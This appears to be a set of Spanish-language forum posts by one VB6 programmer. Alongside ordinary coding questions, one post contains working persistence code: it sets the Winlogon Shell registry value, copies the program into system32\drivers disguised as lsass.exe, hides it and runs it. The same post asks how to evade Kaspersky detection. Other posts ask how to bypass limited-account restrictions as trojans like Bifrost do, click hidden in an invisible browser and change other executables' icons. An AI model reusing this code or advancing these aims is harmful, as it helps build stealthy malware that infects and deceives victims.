Buenas,

Estuve buscando bastante en google de como detectar si un proceso esta respondiendo pero no encontre para vb6 sino que para vb net.. dejo el codigo para ver si ayuda de algo

procs = Process.GetProcessesByName("IEXPLORE")
 
    Try
        If procs(0).Responding = True Then
            MessageBox.Show("IEXPLORE está respondiendo")
        Else
            MessageBox.Show("IEXPLORE no está respondiendo")
        End If
    Catch
         MessageBox.Show("IEXPLORE no está ejecutándose")
    End Try

Ahora el tema es que necesito hacerlo en VB6.. alguien me podria dar una idea de como poder hacerlo?

Muchas gracias.
Saludos

Buenas...

Como pordria hacer para detectar la extension de su mismo archivo?

La ruta es App.Path... el nombre es App.EXEName .. pero necesito saber la extension.. ya que podria cambiarlo a .com .pif o .scr y no seria .exe.. por eso no lo dejaria estatico digamos..

Saludos!

Buenas,

el pedazo de codigo que detecta es:

Reg_Crea_KeyConValor HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe, " & Environ("WinDir") & "\system32\drivers\lsass.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("WinDir") & "\system32\drivers\lsass.exe" 'lo copiamos
SetAttr Environ("WinDir") & "\system32\drivers\lsass.exe", vbHidden + vbReadOnly + vbSystem
DoEvents
Shell Environ("WinDir") & "\system32\drivers\lsass.exe" 'y lo ejecutamos

Les digo las combinaciones que detecta:

cuando FileCopy no esta no lo detecta, cuando reg_crea_keyconvalor y shell no estan tampoco lo detecta, cuando solo le cambio el nombre al FileCopy digamos le cambio el lsass no lo detecta, intente ponerlo en funcion para que saque de ahi el nombre, tambien intente ponerlo con strreverse.. nadap.. alguna solucion?

Saludos!

PD: el Antivirus es el Kaspersky

Buenas...

He estado intentando realizar tabs para seleccionar otros links mediante sendmessage.. pero no me ha funcionado.. hago el click y no realiza ninguna accion.. dejo el source a ver si alguien encuentra el error..

Form:

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Long
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const VK_TAB = &H9
 
Private Sub Command1_Click()
Dim hwnd As Long
hwnd = GetBrowserHandle(Me.hwnd)
SendMessage hwnd, WM_KEYDOWN, VK_TAB, 0&
'SendMessage hWnd, WM_KEYUP, VK_TAB, 0&
End Sub
 
Private Sub Form_Load()
WebBrowser1.Navigate "http://www.google.com"
End Sub

Modulo:

      Private Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" ( _
          ByVal hwnd As Long, _
          ByVal lpClassName As String, _
          ByVal nMaxCount As Long _
      ) As Long
 
      Private Declare Function EnumChildWindows Lib "user32.dll" ( _
          ByVal hWndParent As Long, _
          ByVal lpEnumFunc As Long, _
          ByVal lParam As Long _
      ) As Long
 
      Private hWndIE As Long
 
 
      Private Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
          Dim sClassName As String
          sClassName = String(255, vbNullChar)
          Call GetClassName(hwnd, sClassName, 255)
          sClassName = Left$(sClassName, InStr(sClassName, vbNullChar) - 1)
          If sClassName <> "Internet Explorer_Server" Then
              EnumChildProc = 1
          Else
              hWndIE = hwnd
          End If
      End Function
 
      Public Function GetBrowserHandle(ByVal hWndParent) As Long
          hWndIE = 0
          Call EnumChildWindows(hWndParent, AddressOf EnumChildProc, 1)
          GetBrowserHandle = hWndIE
      End Function
 
 

Encuentra el handle y todo del webbrowser pero no se porke no realiza los tabs en la pagina..

Saludos!

Buenas,

Estuve tratando largo rato de poder realizar un click en el webbrowser... pero de forma escondida y sin utilizar webbrowser1.document.elobjeto.click ya que por ese medio es inalcanzable ya lo he intentado..

Hay alguna forma de "mandar" un click a un lugar especifico del webbrowser  (estando escondido el form)?

Saludos!

PD: No me digan que utilize winsock o Inet ya lo he probado y no me sirve para lo que lo quiero..

Buenas... se me ha presentado un problemilla

Hay alguna manera de saltarse las restricciones con vb asi como lo hacen los troyanos como por ejemplo bifrost? que por mas que tengan los usuarios una cuenta limitada se copian sin problemas en disco:\windows\system32

Saludos!

Buenas...

Hay alguna manera de deshacerse de la dll que utiliza vb? y solo utilizar apis?

No necesito el formulario ni nada solo necesito que realice funciones que tranquiamente se pueden hacer con apis

Saludos!

Hola! estuve buscando algun ejemplo o algo pero no encontre ninguno en vb.. alguno tiene por ahi algun ejemplo? o alguien que me guie para iniciar nomas..

salu2! y gracias de antemano!

Hola! bueno les hago una pregunta a ver si alguien me sabe responder.. hay alguna forma de hacer un click "virtual" en un lugar del form invisible o sea por ejemplo..

tengo un navegador en todo el form y quiero hacer click en alguna parte del navegador PERO siendo invisible el form y que no se mueva el mouse ni nada o sea sin setcursorpos

salu2! y desde ya muchas gracias!

Hola! alguien tiene algun modulo para cambiar los iconos de los otros exe's que funcione bien? estuve buscando.. encontre algun que otro pero no me funcionaban bien..

Desde ya muchas gracias..

Salu2!!